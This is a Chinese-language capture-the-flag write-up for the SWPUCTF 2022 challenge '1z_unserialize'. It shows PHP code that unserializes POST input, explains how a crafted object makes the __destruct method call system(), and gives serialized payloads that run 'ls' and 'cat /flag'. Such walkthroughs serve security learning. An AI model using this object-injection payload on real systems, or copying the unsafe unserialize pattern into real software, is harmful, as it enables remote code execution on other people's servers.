[SWPUCTF 2022 新生赛]1z_unserialize

发布时间:2024年01月17日

[SWPUCTF 2022 新生赛]1z_unserialize wp

题目代码:

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

直接将 $a 赋值为 system ,也就是将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值成任意命令,造成 RCE 。

构造代码如下:

<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="ls";

}

$demo = new lyh();
echo serialize($demo);

输出结果:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

payload:

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

将 ls 改为其他命令,如 cat /flag 就可以查看 flag 文件:

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

拿到 flag :
在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73612768/article/details/135618047
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。